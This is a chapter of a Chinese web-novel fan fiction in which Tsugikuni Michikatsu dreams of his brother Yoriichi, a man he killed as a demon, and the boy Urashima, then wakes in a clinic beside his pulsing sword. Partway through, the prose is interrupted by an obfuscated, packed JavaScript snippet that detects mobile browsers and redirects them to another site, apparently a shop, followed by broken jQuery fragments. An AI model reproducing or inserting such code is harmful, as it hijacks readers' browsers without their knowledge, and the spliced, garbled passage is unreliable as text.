默认冷灰
24号文字
方正启体

16. 梦里什么都有

作者:呱唧呱唧大魔王本书字数:K更新时间:
    昏过去的时候,时间不按顺序来。


    严胜先梦见自己在继国家的道场里,手里握着把小号的木刀。阳光从高窗斜射进来,灰尘在光柱里慢腾腾打转。他面前站了个更小的孩子,黑头发软软贴在额头上,眼睛很大,正仰头看他。


    “握这儿。”严胜蹲下来,把木刀塞进孩子手里,帮他调手指,“拇指压食指,剩下三根指头轻轻包住。对。”


    缘一照做了。他握刀的姿势很标准,标准得不像头一回。严胜心里那股说不上的别扭又冒出来——怎么连这个都一学就会?


    “挥一下试试。”他退开两步。


    缘一举起木刀,挥下。动作顺得像做过千百遍,木刀破开空气的声音干净利落。


    严胜站在原地,看着那道弧线。


    然后画面就碎了。


    碎成血红色。他站在条陌生街上,手里握着虚哭神去——不是裹布的样子,是完全体,眼球纹路全睁着,暗紫色刀身上往下滴血。脚边倒着具尸体,穿着平民衣服,眼睛还睁着,里面映出夜空和他额头上那只新睁开的鬼眼。


    这是他变鬼后头一回杀人。无惨的命令,说“你需要祭品来稳固力量”。他记得自己当时特平静,平静得吓人,像在切豆腐。可现在在梦里,那人眼神突然清楚了,瞳孔深处有东西在晃——


    像浦岛哭着说“不要死”时的眼睛。


    严胜猛地后退,手里的刀差点掉地上。但尸体不见了,街道也不见了。四周变成一片漆黑,只有远处有点光。


    他朝着光走。走近了才看清,是缘一。


    不是孩童缘一,是四百年前那个穿红色羽织的缘一。他背对着严胜,肩膀有点垮,手里的日轮刀插在地上,刀身全是裂痕。


    严胜想说话,出不了声。


    缘一转过身。他脸上有泪痕,新的,还在往下滑。他看着严胜,嘴唇动了动,说了句什么。


    严胜没听清。但他看见了缘一的眼睛——那双永远平静的、像镜子似的眼睛里,头一回映出点接近“难受”的东西。


    然后缘一身体开始消散,从脚开始,化成碎碎的金色光点。


    严胜冲过去想抓他,但手穿过正在消散的身体,只捞到一把光尘。光尘从他指缝里漏下去,飘散在黑暗里。


    “对不起。”他听见自己说,嗓子哑得吓人,“对不起……对不起……”


    “严胜先生!”


    声音变了。不是缘一,是更年轻、更亮的嗓子。


    严胜睁开眼——不是真睁开,是在梦里睁眼——看见浦岛蹲他面前,手里捧着一堆碎贝壳,脸上挂着泪,但笑得特亮。


    “谢谢你保护我!”浦岛说,眼泪掉贝壳上,把花纹晕开了,“贝壳碎了……但我捡回来了!你看,这个像月亮!这个像星星!”


    他举起一块贝壳碎片,边儿不齐,但某个角度下确实闪着微光。


    严胜想说话,但喉咙被什么堵住了。他伸手想碰碰那些贝壳,手抬到一半,突然发现自己手上全是血。


    不是他的血。是梦里那个平民的血,粘的,暗红,带着铁锈味。


    他缩回手。


    浦岛还在笑,还在举贝壳。但笑着笑着,他的脸开始化,像蜡烛似的软下去,变成一团模糊的肉色。眼睛还留在原地,盯着他,瞳孔深处映出他额头上那些睁开的鬼眼。


    “严胜先生……”那张化了的嘴在说话,“你为什么……要变成这样……”


    严胜猛地坐起来。


    冷汗把衣服浸透了,贴在身上,又冷又黏。他大口喘气,胸口剧烈起伏,眼前一片模糊。


    几秒后视线才聚上焦。他还在手入室,躺在病床上。窗外天黑了,只有墙角一盏小灯亮着,光线昏黄。


    他抬手摸了摸额头。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944505|192977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那四道纹路还在,手指碰到时传来细微的刺痛感。


    不是梦。


    至少六眼不是梦。


    他掀开被子想下床,但身体沉得像灌了铅,刚撑起上半身就一阵晕。他扶着床沿缓了缓,视线扫过房间——


    然后停在矮桌上。


    虚哭神去放在那儿,布解开了,刀身直接露在外面。暗紫色的漆面在灯光下泛着哑光,眼球纹路……


    在动。


    不是全部。只有靠近刀柄处那只眼睛的纹路,在极其缓慢地、一下一下地搏动。像睡着了的人眼皮无意识颤动,间隔大概五秒。


    严胜盯着看了会儿,伸手把刀拿过来。


    刀身冰凉。但靠近眼球纹路的位置,温度稍微高一点,像有微弱的血流在下面走。他把手指按在那道纹路上,能感觉到极细微的震动。


    “你看什么呢。”他低声问。


    刀没应声。但搏动停了一瞬,然后继续。


    严胜把刀放回桌上,重新躺下。他盯着天花板,脑子里还在倒腾那些梦的碎片:缘一握木刀的手、尸体睁大的眼睛、缘一消散时的光尘、浦岛化了的脸。


    乱得像锅炖过头的杂烩。


    他闭上眼,强迫自己呼吸平稳。但一闭眼,那些画面又涌上来,这次还添了声音——父亲严厉的训斥、无惨低沉的冷笑、缘一最后那句听不清的话、浦岛的尖叫。


    他猛地睁开眼。


    不行。睡不着。


    他转头看向窗外。夜色很深,本丸很静,连虫鸣都没有。只有远处天守阁还亮着一盏灯,大概是审神者还在忙。


    他看了很久,直到眼睛发酸,才又闭上。


    这次没立刻做梦。


    只有黑,和耳边虚哭神去那微弱、规律的搏动声。


    像有人陪着。


    也像有人盯着。


    ---
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)